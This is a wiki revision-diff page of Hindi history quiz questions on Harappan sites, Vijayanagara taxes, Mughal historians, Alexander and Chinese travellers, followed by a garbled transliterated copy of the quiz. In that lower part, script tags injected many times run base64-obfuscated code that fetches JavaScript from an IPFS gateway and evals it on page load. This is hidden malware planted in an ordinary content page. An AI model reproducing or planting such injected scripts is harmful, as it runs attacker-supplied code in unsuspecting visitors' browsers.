Difference between revisions of "इतिहास सामान्य ज्ञान 56"

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||[[चित्र:Sorghum-1.jpg|70px|right|ज्वार]]'ज्वार' विश्‍व की मोटे अनाज वाली एक महत्‍वपूर्ण फ़सल है। [[वर्षा]] आधारित [[कृषि]] के लिये यह सबसे उपयुक्‍त फ़सल है। [[ज्वार]] की फ़सल का दोहरा लाभ मिलता है। मानव आहार के साथ-साथ पशु आहार के रूप में इसकी अच्‍छी खपत होती है। ज्‍वार की फ़सल कम वर्षा में भी अच्छी उपज दे सकती है। एक ओर जहाँ ज्‍वार सूखे का सक्षमता से सामना कर सकती है, वहीं कुछ समय के लिये भूमि में जलमग्‍नता को भी सहन कर सकती है। [[ज्वार]] का पौधा अन्‍य अनाज वाली फ़सलों की अपेक्षा कम 'प्रकाश संश्‍लेषण' एवं प्रति इकाई समय में अधिक शुष्‍क पदार्थ का निर्माण करता है।{{point}}अधिक जानकारी के लिए देखें:-[[ज्वार]]
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||[[चित्र:Sorghum-1.jpg|70px|right|ज्वार]]'ज्वार' विश्‍व की मोटे अनाज वाली एक महत्‍वपूर्ण फ़सल है। [[वर्षा]] आधारित [[कृषि]] के लिये यह सबसे उपयुक्‍त फ़सल है। [[ज्वार]] की फ़सल का दोहरा लाभ मिलता है। मानव आहार के साथ-साथ पशु आहार के रूप में इसकी अच्‍छी खपत होती है। ज्‍वार की फ़सल कम वर्षा में भी अच्छी उपज दे सकती है। एक ओर जहाँ ज्‍वार सूखे का सक्षमता से सामना कर सकती है, वहीं कुछ समय के लिये भूमि में जलमग्‍नता को भी सहन कर सकती है। [[ज्वार]] का पौधा अन्‍य अनाज वाली फ़सलों की अपेक्षा कम 'प्रकाश संश्‍लेषण' एवं प्रति इकाई समय में अधिक शुष्‍क पदार्थ का निर्माण करता है। अधिक जानकारी के लिए देखें :- [[ज्वार]]
  
 
{निम्नलिखित में से कौन एक [[हड़प्पा संस्कृति]] की सुदूर पश्चिमी बस्ती थी?
 
{निम्नलिखित में से कौन एक [[हड़प्पा संस्कृति]] की सुदूर पश्चिमी बस्ती थी?
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-[[रंगपुर (गुजरात)|रंगपुर]]
 
-[[रंगपुर (गुजरात)|रंगपुर]]
 
-[[मांडा]]
 
-[[मांडा]]
||[[चित्र:Well-And-Bathing-Platforms-Harappa.jpg|right|100px|हड़प्पा सभ्यता का कुँआ व स्नानागार]]'सुत्कागेनडोर' दक्षिण [[बलूचिस्तान]] में दाश्त नदी के किनारे स्थित है। यहाँ [[हड़प्पा संस्कृति]] की सुदूर पश्चिमी बस्ती थी। [[सुत्कागेनडोर]] की खोज वर्ष [[1927]] ई. में ऑरेल स्टाइन ने की थीं। हड़प्पा संस्कृति की परिपक्व अवस्था के [[अवशेष]] यहाँ से मिले हैं। यहाँ से मनुष्य की अस्थि-राख से भरा बर्तन, [[तांबा|तांबे]] की [[कुल्हाड़ी]], [[मिट्टी]] से बनी [[चूड़ी|चूड़ियाँ]] एवं बर्तनों के अवशेष मिले है।{{point}}अधिक जानकारी के लिए देखें:-[[सुत्कागेनडोर]]
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||[[चित्र:Well-And-Bathing-Platforms-Harappa.jpg|right|100px|हड़प्पा सभ्यता का कुँआ व स्नानागार]]'सुत्कागेनडोर' दक्षिण [[बलूचिस्तान]] में दाश्त नदी के किनारे स्थित है। यहाँ [[हड़प्पा संस्कृति]] की सुदूर पश्चिमी बस्ती थी। [[सुत्कागेनडोर]] की खोज वर्ष [[1927]] ई. में ऑरेल स्टाइन ने की थीं। हड़प्पा संस्कृति की परिपक्व अवस्था के [[अवशेष]] यहाँ से मिले हैं। यहाँ से मनुष्य की अस्थि-राख से भरा बर्तन, [[तांबा|तांबे]] की [[कुल्हाड़ी]], [[मिट्टी]] से बनी [[चूड़ी|चूड़ियाँ]] एवं बर्तनों के अवशेष मिले हैं। अधिक जानकारी के लिए देखें :-[[सुत्कागेनडोर]]
  
 
{'कनिक्कई' नामक कर निम्नलिखित में से किस राज्य में वसूला जाता था?
 
{'कनिक्कई' नामक कर निम्नलिखित में से किस राज्य में वसूला जाता था?
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+[[विजयनगर साम्राज्य]]
 
+[[विजयनगर साम्राज्य]]
 
-[[राष्ट्रकूट साम्राज्य]]
 
-[[राष्ट्रकूट साम्राज्य]]
||'विजयनगर' का शाब्दिक अर्थ है- 'जीत का शहर'। प्रायः इस नगर को [[मध्य काल]] का प्रथम [[हिन्दू]] साम्राज्य माना जाता है। [[विजयनगर साम्राज्य]] में [[चोल]] कालीन सभा को कहीं-कहीं 'महासभा', 'उर' एवं 'महाजन' कहा जाता था। साम्राज्य द्वारा वसूल किये जाने वाले विविध करों के प्रमुख नाम थे- 'कदमाई', 'मगमाइ', 'कनिक्कई', 'कत्तनम', 'कणम', 'वरम', 'भोगम', 'वारिपत्तम', 'इराई' और 'कत्तायम'। ‘शिष्ट’ नामक भूमिकर विजयनगर राज्य की आय का प्रमुख एवं सबसे बड़ा स्रोत था। राज्य उपज का 1/6 भाग कर के रूप में वसूल करता था।{{point}}अधिक जानकारी के लिए देखें:-[[विजयनगर साम्राज्य]]
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||[[चित्र:Virupraksha-Temple-Hampi.jpg|right|80px|विरुपाक्ष मन्दिर, हम्पी]]'विजयनगर' का शाब्दिक अर्थ है- 'जीत का शहर'। प्रायः इस नगर को [[मध्य काल]] का प्रथम [[हिन्दू]] साम्राज्य माना जाता है। [[विजयनगर साम्राज्य]] में [[चोल]] कालीन सभा को कहीं-कहीं 'महासभा', 'उर' एवं 'महाजन' कहा जाता था। साम्राज्य द्वारा वसूल किये जाने वाले विविध करों के प्रमुख नाम थे- 'कदमाई', 'मगमाई', 'कनिक्कई', 'कत्तनम', 'कणम', 'वरम', 'भोगम', 'वारिपत्तम', 'इराई' और 'कत्तायम'। ‘शिष्ट’ नामक भूमिकर विजयनगर राज्य की आय का प्रमुख एवं सबसे बड़ा स्रोत था। राज्य उपज का 1/6 भाग कर के रूप में वसूल करता था। अधिक जानकारी के लिए देखें :- [[विजयनगर साम्राज्य]]
  
 
{[[भारत का इतिहास|भारत के इतिहास]] के सन्दर्भ में [[अब्दुल हमीद लाहौरी]] कौन थे?
 
{[[भारत का इतिहास|भारत के इतिहास]] के सन्दर्भ में [[अब्दुल हमीद लाहौरी]] कौन थे?
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+[[शाहजहाँ]] के शासन का एक राजकीय इतिहासकार
 
+[[शाहजहाँ]] के शासन का एक राजकीय इतिहासकार
 
-[[मुहम्मदशाह]] के शासन में एक इतिवृत्तिकार तथा [[कवि]]
 
-[[मुहम्मदशाह]] के शासन में एक इतिवृत्तिकार तथा [[कवि]]
||[[चित्र:Shah-Jahan.jpg|right|80px|शाहजहाँ]]बादशाह शाहजहाँ के शासन−काल में [[मुग़ल साम्राज्य]] की समृद्धि, शान−शौक़त और ख्याति चरम सीमा पर थी। उसके दरबार में देश−विदेश के अनेक प्रतिष्ठित व्यक्ति आते थे। वे [[शाहजहाँ]] के वैभव और ठाट−बाट को देख कर चकित रह जाते थे। उसके दरबार में [[अब्दुल हमीद लाहौरी]] एक सरकारी इतिहासकार था। राज दरबार में उसे काफ़ी मान-सम्मान और प्रतिषठा प्राप्त थी। अब्दुल हमीद लाहौरी ने जिस महत्त्वपूर्ण कृति की रचना की, उसका नाम 'पादशाहनामा' है। 'पादशाहनामा' को शाहजहाँ के शासन का प्रामाणिक इतिहास माना जाता है। इसमें शाहजहाँ का सम्पूर्ण वृतांत लिखा हुआ है।{{point}}अधिक जानकारी के लिए देखें:-[[शाहजहाँ]]
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||[[चित्र:Shah-Jahan.jpg|right|80px|शाहजहाँ]]बादशाह शाहजहाँ के शासन−काल में [[मुग़ल साम्राज्य]] की समृद्धि, शान−शौक़त और ख्याति चरम सीमा पर थी। उसके दरबार में देश−विदेश के अनेक प्रतिष्ठित व्यक्ति आते थे। वे [[शाहजहाँ]] के वैभव और ठाट−बाट को देख कर चकित रह जाते थे। उसके दरबार में [[अब्दुल हमीद लाहौरी]] एक सरकारी इतिहासकार था। राज दरबार में उसे काफ़ी मान-सम्मान और प्रतिष्ठा प्राप्त थी। अब्दुल हमीद लाहौरी ने जिस महत्त्वपूर्ण कृति की रचना की, उसका नाम '[[पादशाहनामा]]' है। 'पादशाहनामा' को शाहजहाँ के शासन का प्रामाणिक इतिहास माना जाता है। इसमें शाहजहाँ का सम्पूर्ण वृतांत लिखा हुआ है। अधिक जानकारी के लिए देखें :- [[शाहजहाँ]]
  
 
{[[सिकन्दर]] के [[भारत]] अभियान के समय उसके साथ कई लेखक भी आये थे। निम्नलिखित में से कौन सिकन्दर का समकालीन नहीं है?
 
{[[सिकन्दर]] के [[भारत]] अभियान के समय उसके साथ कई लेखक भी आये थे। निम्नलिखित में से कौन सिकन्दर का समकालीन नहीं है?
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-यूनेनीस
 
-यूनेनीस
 
+इनमें से कोई नहीं
 
+इनमें से कोई नहीं
||[[चित्र:Alexander.jpg|right|80px|सिकन्दर]]'सिकन्दर' अथवा 'अलक्ष्येन्द्र', मेसेडोनिया का ग्रीक प्रशासक था। वह 'एलेक्ज़ेंडर तृतीय' तथा 'एलेक्ज़ेंडर मेसेडोनियन' के नाम से भी जाना जाता है। [[इतिहास]] में [[सिकन्दर]] सबसे कुशल और यशस्वी सेनापति माना गया है। अपनी मृत्यु तक सिकन्दर उस तमाम भूमि को जीत चुका था, जिसकी जानकारी प्राचीन [[यवन]] (ग्रीक) लोगों को थी। इसलिए उसे 'विश्वविजेता' भी कहा जाता है। सिकन्दर के [[पिता]] का नाम फ़िलिप था। उसे सबसे पहले एक गणराज्य के प्रधान के विरोध का सामना करना पड़ा था, जिसे यूनानी ऐस्टीज़ कहते हैं, [[संस्कृत]] में जिसका नाम हस्तिन है। वह उस जाति का प्रधान था, जिसका भारतीय नाम 'हास्तिनायन' था।{{point}}अधिक जानकारी के लिए देखें:-[[सिकन्दर]]
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||[[चित्र:Alexander.jpg|right|80px|सिकन्दर]]'सिकन्दर' अथवा 'अलक्ष्येन्द्र', मेसेडोनिया का ग्रीक प्रशासक था। वह 'एलेक्ज़ेंडर तृतीय' तथा 'एलेक्ज़ेंडर मेसेडोनियन' के नाम से भी जाना जाता है। [[इतिहास]] में [[सिकन्दर]] सबसे कुशल और यशस्वी सेनापति माना गया है। अपनी मृत्यु तक सिकन्दर उस तमाम भूमि को जीत चुका था, जिसकी जानकारी प्राचीन [[यवन]] (ग्रीक) लोगों को थी। इसलिए उसे 'विश्वविजेता' भी कहा जाता है। सिकन्दर के [[पिता]] का नाम फ़िलिप था। उसे सबसे पहले एक गणराज्य के प्रधान के विरोध का सामना करना पड़ा था, जिसे यूनानी ऐस्टीज़ कहते हैं, [[संस्कृत]] में जिसका नाम हस्तिन है। वह उस जाति का प्रधान था, जिसका भारतीय नाम 'हास्तिनायन' था। अधिक जानकारी के लिए देखें :- [[सिकन्दर]]
 
 
{[[हड़प्पा सभ्यता|हड़प्पाकालीन सभ्यता]] मुख्यत: निम्नलिखित में से किन प्रदेशों में केन्द्रीयभूत थी?
 
|type="()"}
 
+[[पंजाब]], [[राजस्थान]] और [[गुजरात]]
 
-पंजाब, राजस्थान और [[उत्तर प्रदेश]]
 
-[[हरियाणा]], राजस्थान और [[दिल्ली]]
 
-[[गुजरात]], [[हरियाणा]] और पश्चिमी [[उत्तर प्रदेश]]
 
||[[चित्र:Golden-Temple-Amritsar.jpg|right|120px|स्वर्णमन्दिर, पंजाब]]पंजाब [[भारत]] के उत्तर-पश्चिम में स्थित राज्य है, जिसकी सीमाएँ पश्चिम में [[पाकिस्तान]], उत्तर में [[जम्मू और कश्मीर]], उत्तर-पूर्व में [[हिमाचल प्रदेश]] और दक्षिण में [[हरियाणा]] और [[राजस्थान]] राज्य से मिलती हैं। प्राचीन समय में [[पंजाब]] भारत और [[ईरान]] का क्षेत्र था। यहाँ [[मौर्य]], बैक्ट्रियन, [[यूनानी]], [[शक]], [[कुषाण]], [[गुप्त]] आदि अनेक शक्तियों का उत्थान और पतन हुआ। पंजाब [[मध्य काल]] में [[मुस्लिम]] शासकों के अधीन रहा था। यहाँ सबसे पहले [[महमूद ग़ज़नवी|गज़नवी]], [[मुहम्मद ग़ोरी|ग़ोरी]], [[ग़ुलाम वंश]], [[ख़िलजी वंश]], [[तुग़लक़ वंश|तुग़लक]],[[लोदी वंश|लोदी]] और [[मुग़ल वंश]] के शासकों ने यहाँ राज किया।{{point}}अधिक जानकारी के लिए देखें:-[[पंजाब]], [[राजस्थान]] और [[गुजरात]]
 
 
 
{चीनी यात्रियों के [[भारत]] भ्रमण की श्रृंखला में सुंगयुन का उल्लेख प्राप्त होता है। वह [[बौद्ध]] ग्रंथों की खोज में भारत आया था। उसके [[भारत]] आने का समय क्या था?
 
|type="()"}
 
+518 ई.
 
-629 ई.
 
-642 ई.
 
-817 ई.
 
 
 
{किस [[ग्रंथ]] में यह विवरण मिलता है कि [[पुष्यमित्र शुंग]] ने कई [[यज्ञ]] किये थे?
 
|type="()"}
 
-[[पाणिनी]] के व्याकरण में
 
-[[यास्क]] के [[निरुक्तम|निरुक्त]] में
 
-[[हेमचन्द्र राय चौधरी|हेमचन्द्र]] के परिशिष्ट पर्व में
 
+[[पतंजलि]] के [[महाभाष्य]] में
 
||'महाभाष्य' महर्षि पतंजलि द्वारा रचित है। [[पतंजलि (महाभाष्यकार)|पतंजलि]] ने [[पाणिनि]] के '[[अष्टाध्यायी]]' के कुछ चुने हुए सूत्रों पर भाष्य लिखा था, जिसे 'व्याकरण महाभाष्य' का नाम दिया गया। '[[महाभाष्य]]' वैसे तो [[व्याकरण]] का [[ग्रंथ]] माना जाता है, किन्तु इसमें कहीं-कहीं राजाओं-महाराजाओं एवं जनतंत्रों के घटनाचक्र का विवरण भी मिलता हैं। महाभाष्य के वर्णन से पता चलता है कि [[पुष्यमित्र शुंग]] ने किसी ऐसे विशाल [[यज्ञ]] का आयोजन किया था, जिसमें अनेक [[पुरोहित]] थे और स्वयं पतंजलि भी इसमें शामिल थे। वे स्वयं [[ब्राह्मण]] याजक थे और इसी कारण से उन्होंने [[क्षत्रिय]] याजक पर कटाक्ष किया है- यदि भवद्विध: क्षत्रियं याजयेत्।{{point}}अधिक जानकारी के लिए देखें:-[[महाभाष्य]] और [[पतंजलि]]
 
 
 
{निम्नलिखित में से किस विदेशी [[अभिलेख]] में भारतीय वैदिक मंडल के [[देवता|देवताओं]] [[वरुण देवता|वरुण]], [[इन्द्र]] एवं नासत्य का विवरण प्राप्त होता है?
 
|type="()"}
 
-पर्सिपोलिस के बेहिस्तून अभिलेख
 
+[[एशिया माइनर]] के [[बोगाजकोई]] अभिलेख
 
-मितन्नी अभिलेख
 
-इनमें से कोई नहीं
 
||[[चित्र:Lion-Gate-Bogazkoy.jpg|right|120px|सिंहद्वार, बोगाजकोई]]बोगाजकोई [[एशिया]] माइनर में स्थित एक ऐतिहासिक स्थान है, जहाँ से महत्त्वपूर्ण पुरातत्त्व सम्बन्धी [[अवशेष]] प्राप्त हुए हैं। वहाँ के शिलालेखों में जो चौदहवीं शताब्दी ई. पू. के बताये जाते हैं, इन्द्र, [[दशरथ]] और आर्त्ततम आदि [[आर्य]] नामधारी राजाओं का उल्लेख है तथा [[इन्द्र]], [[वरुण देवता|वरुण]] और नासत्य आदि आर्य देवताओं से सन्धियों का साक्षी होने की प्रार्थना की गयी है। इस प्रकार [[बोगाजकोई]] से आर्यों के निष्क्रमण मार्गों का संकेत मिलता है। सन [[1907]] ई. में प्राचीन हिट्टाइट राज्य की राजधानी बोगाजकोई में पाई गयी [[मिट्टी]] की पट्टिकाओं में वैदिक [[देवता]] वरुण, इन्द्र, नासत्यस का उल्लेख है।{{point}}अधिक जानकारी के लिए देखें:-[[बोगाजकोई]]
 
 
 
{निम्नलिखित कथनों में से असत्य कथन को छाँटिये?
 
|type="()"}
 
-[[चोल राजवंश|चोल]] स्वयं को [[सूर्यवंश|सूर्यवंशी]] मानते थे
 
-[[नरसिंह वर्मन द्वितीय]] ने एक दूतमंडल [[चीन]] भेजा था
 
-[[कुलोत्तुंग प्रथम|चालुक्य कुलोत्तुंग]] मातृपक्ष से [[चोल|चोलों]] से सम्बन्धित था
 
+[[नन्दि वर्मन द्वितीय]] ने [[भारतीय संस्कृति]] के प्रचार में अनिच्छा प्रदर्शित की।
 
||नन्दि वर्मन द्वितीय (731-795 ई.) [[वैष्णव धर्म]] का अनुयायी था। उसके समय में समकालीन वैष्णव सन्त तिरुमंगै अलवार ने वैष्णव धर्म का प्रचार-प्रसार किया। [[नन्दि वर्मन द्वितीय]] के शासन काल में [[पल्लव वंश|पल्लवों]] का [[चालुक्य वंश|चालुक्यों]], [[पाण्ड्य राजवंश|पाण्ड्यों]] तथा [[राष्ट्रकूट वंश|राष्ट्रकूटों]] से संघर्ष हुआ। यद्यपि पूर्वी चालुक्य राज्य पर नन्दि वर्मन द्वितीय ने क़ब्ज़ा कर लिया, किन्तु राष्ट्रकूटों ने [[कांची]] को विजित कर लिया। कशाक्कुण्डि लेख में नन्दि वर्मन के लिए 'पल्लवमल्ल', 'क्षत्रियमल्ल', 'राजाधिराज', 'परमेश्वर' एवं 'महाराज' आदि उपाधियों का प्रयोग किया गया है।{{point}}अधिक जानकारी के लिए देखें:-[[नन्दि वर्मन द्वितीय]]
 
 
 
{निम्नलिखित में से कौन-सा [[हड़प्पा संस्कृति]] का एक स्थल है, जहाँ से '[[फ़ारस की खाड़ी]]' की मुद्रा उत्खनन से प्राप्त हुई थी?
 
|type="()"}
 
-[[मोहनजोदड़ो]]
 
-[[धौलावीरा]]
 
+[[लोथल]]
 
-[[कालीबंगा]]
 
||[[चित्र:Lothal-8.jpg|right|120px|लोथल]]लोथल [[गुजरात]] के [[अहमदाबाद ज़िला|अहमदाबाद ज़िले]] में भोगावा नदी के किनारे 'सरगवाला' नामक ग्राम के समीप स्थित है। यहाँ की खुदाई [[1954]]-[[1955]] ई. में रंगनाथ राव के नेतृत्व में की गई थी। [[लोथल]] से समकालीन सभ्यता के पांच स्तर पाए गए हैं। इसके उत्तर में 12 मीटर चौड़ा एक प्रवेश द्वार निर्मित था, जिससे होकर जहाज़ आते-जाते थे और दक्षिण दीवार में अतिरिक्त [[जल]] के लिए निकास द्वार था। लोथल में गढ़ी और नगर दोनों एक ही रक्षा प्राचीर से घिरे हैं। यहाँ से अन्य [[अवशेष|अवशेषों]] में [[चावल]], [[फ़ारस]] की मुहरों एवं घोड़ों की लघु मृण्मूर्तियों के अवशेष प्राप्त हुए हैं।{{point}}अधिक जानकारी के लिए देखें:-[[लोथल]]
 
 
 
{[[ह्वेनसांग]] के विवरणों में निम्नलिखित में से किसका उल्लेख नहीं मिलता?
 
|type="()"}
 
-[[कान्यकुब्ज]]
 
-[[नालन्दा]]
 
-[[प्रयाग]]
 
+इनमें से कोई नहीं
 
||[[चित्र:Statue-Of-Xuanzang.jpg|right|80px|ह्वेनसांग]]चीनी बौद्ध भिक्षु [[ह्वेनसांग]] का जन्म [[चीन]] के लुओयंग स्थान पर सन 602 ई. में हुआ था। वह एक दार्शनिक, घुमक्कड़ और अनुवादक भी था। ह्वेनसांग को मानद उपाधि 'सान-त्सांग' से सुशोभित किया गया था। उसे 'मू-चा ति-पो' भी कहा जाता है। उसने [[हर्षवर्धन]] के शासन काल में [[भारत]] की यात्र की। ह्वेनसांग ने अपनी यात्रा 29 वर्ष की अवस्था में 629 ई. में प्रारम्भ की थी। यात्रा के दौरान ताशकन्द और [[समरकन्द]] होता हुआ ह्वेनसांग 630 ई. में 'चन्द्र की भूमि' (भारत) के [[गांधार]] प्रदेश पहुँचा। गांधार पहुंचने के बाद ह्वेनसांग ने [[कश्मीर]], [[पंजाब]], [[कपिलवस्तु]], [[बनारस]], [[गया]] एवं [[कुशीनगर]] की यात्रा भी की।{{point}}अधिक जानकारी के लिए देखें:-[[ह्वेनसांग]]
 
 
 
{[[सिन्धु घाटी सभ्यता]] के सभी स्थलों की सर्व-सामान्य विशेषताएँ क्या थीं?
 
|type="()"}
 
+पकायी गई ईंटों और [[मिट्टी]] के बर्तनों का उपयोग, विस्तृत जल निकास प्रणाली, दलदल और जंगली जानवरों का पाया जाना।
 
-जलवायु, वनस्पति, जीव जन्तु और कृत्रिम सिंचाई
 
-[[मरुस्थल|मरुभूमि]], नदियाँ एवं प्राणी विज्ञान की विशेषताएँ
 
-भवन, नगर योजना और और शवदाह प्रणाली
 
||[[चित्र:Mohenjodaro-Sindh.jpg|right|120px|सिन्ध में मोहनजोदड़ो]]'सिन्धु घाटी सभ्यता' की खोज का श्रेय 'रायबहादुर दयाराम साहनी' को जाता है। उन्होंने ही 'पुरातत्त्व सर्वेक्षण विभाग' के महानिदेशक सर जॉन मार्शल के निर्देशन में [[1921]] में इस स्थान की खुदाई करवायी। लगभग एक वर्ष बाद [[1922]] में 'श्री राखल दास बनर्जी' के नेतृत्व में [[पाकिस्तान]] के [[सिंध प्रांत]] के लरकाना ज़िले के [[मोहनजोदड़ो]] में स्थित एक [[बौद्ध]] [[स्तूप]] की खुदाई के समय एक और स्थान का पता चला। इस नवीनतम स्थान के प्रकाश में आने के उपरान्त यह मान लिया गया कि संभवतः यह सभ्यता [[सिंधु नदी]] की घाटी तक ही सीमित है, अतः इस सभ्यता का नाम "सिधु घाटी की सभ्यता" रखा गया।{{point}}अधिक जानकारी के लिए देखें:-[[सिन्धु घाटी सभ्यता]]
 
 
 
{पकी [[मिट्टी]] के बने हल का एक प्रतिरूप कहाँ से प्राप्त हुआ है?
 
|type="()"}
 
+[[बणावली (हरियाणा)|बणावली]]
 
-[[कालीबंगा]]
 
-[[राखीगढ़ी]]
 
-[[रंगपुर (गुजरात)|रंगपुर]]
 
||'बणावली' [[हरियाणा]] के [[हिसार ज़िला|हिसार ज़िले]] में स्थित है। यहाँ से दो सांस्कृतिक अवस्थाओं के [[अवशेष]] मिले हैं। हड़प्पा पूर्व एवं हड़प्पा कालीन इस स्थल की खुदाई [[1973]]-[[1974]] ई. में रवीन्द्र सिंह विष्ट के नेतृत्व में की गयी थी। [[बणावली (हरियाणा)|बणावली]] में दुर्ग तथा निचला नगर अलग-अलग न होकर एक ही प्राचीर से घिरे थे। एक मकान से धावन पात्र के साक्ष्य मिले हैं, जो किसी धनी सौदागार के आवास की ओर संकेत करता है।{{point}}अधिक जानकारी के लिए देखें:-[[बणावली (हरियाणा)|बणावली]]
 
 
 
{[[आमरी]] संस्कृति कहाँ पर पनपी थी?
 
|type="()"}
 
-[[कच्छ|कच्छ क्षेत्र]]
 
-[[अफ़ग़ानिस्तान]]
 
-[[बलूचिस्तान]]
 
+[[सिन्ध]]
 
||सिन्ध प्रांत [[पाकिस्तान]] के चार प्रान्तों में से एक है। यहाँ पन्द्रह प्रतिशत जनता वास करती है। यह सिन्धियों का मूल स्थान है। [[सिन्ध]] [[संस्कृत]] के शब्द सिंधु से बना है, जिसका अर्थ है- [[समुद्र]]। [[रघुवंश महाकाव्य|रघुवंश]] में सिन्ध नामक देश को [[श्रीराम|श्रीरामचंद्र]] द्वारा [[भरत (दशरथ पुत्र)|भरत]] को दिए जाने का उल्लेख है। इस प्रसंग में यह भी वर्णित है कि युधाजित द्वारा [[केकय देश|केकय]] नरेश से संदेश मिलने पर उन्होंने यह कार्य सम्पन्न किया था। संभव है कि सिन्ध देश उस समय केकय देश के अधीन रहा हो। सिन्धु पर अधिकार करने के लिए भरत ने [[गंधर्व|गंधर्वों]] को हराया था।{{point}}अधिक जानकारी के लिए देखें:-[[सिन्ध]] और [[आमरी]]
 
 
</quiz>
 
</quiz>
 
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{{Review-G}}

Latest revision as of 10:10, 4 June 2023

samany jnan prashnottari
rajyoan ke samany jnan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 nimn mean se kaun-si fasal h dappa sanskriti ke logoan ko ajnat pratit hoti hai?

chaval
kapas
jvar
jau

2 nimnalikhit mean se kaun ek h dappa sanskriti ki sudoor pashchimi basti thi?

lothal
sutkagenador
rangapur
maanda

3 'kanikkee' namak kar nimnalikhit mean se kis rajy mean vasoola jata tha?

chol samrajy
pallav samrajy
vijayanagar samrajy
rashtrakoot samrajy

4 bharat ke itihas ke sandarbh mean abdul hamid lahauri kaun the?

akabar ke shasan mean ek mahattvapoorn sainy kamaandar
aurangazeb ka ek mahattvapoorn samant tatha vishvasapatr
shahajahaan ke shasan ka ek rajakiy itihasakar
muhammadashah ke shasan mean ek itivrittikar tatha kavi

5 sikandar ke bharat abhiyan ke samay usake sath kee lekhak bhi aye the. nimnalikhit mean se kaun sikandar ka samakalin nahian hai?

aristayebulas
niyarkas
yoonenis
inamean se koee nahian

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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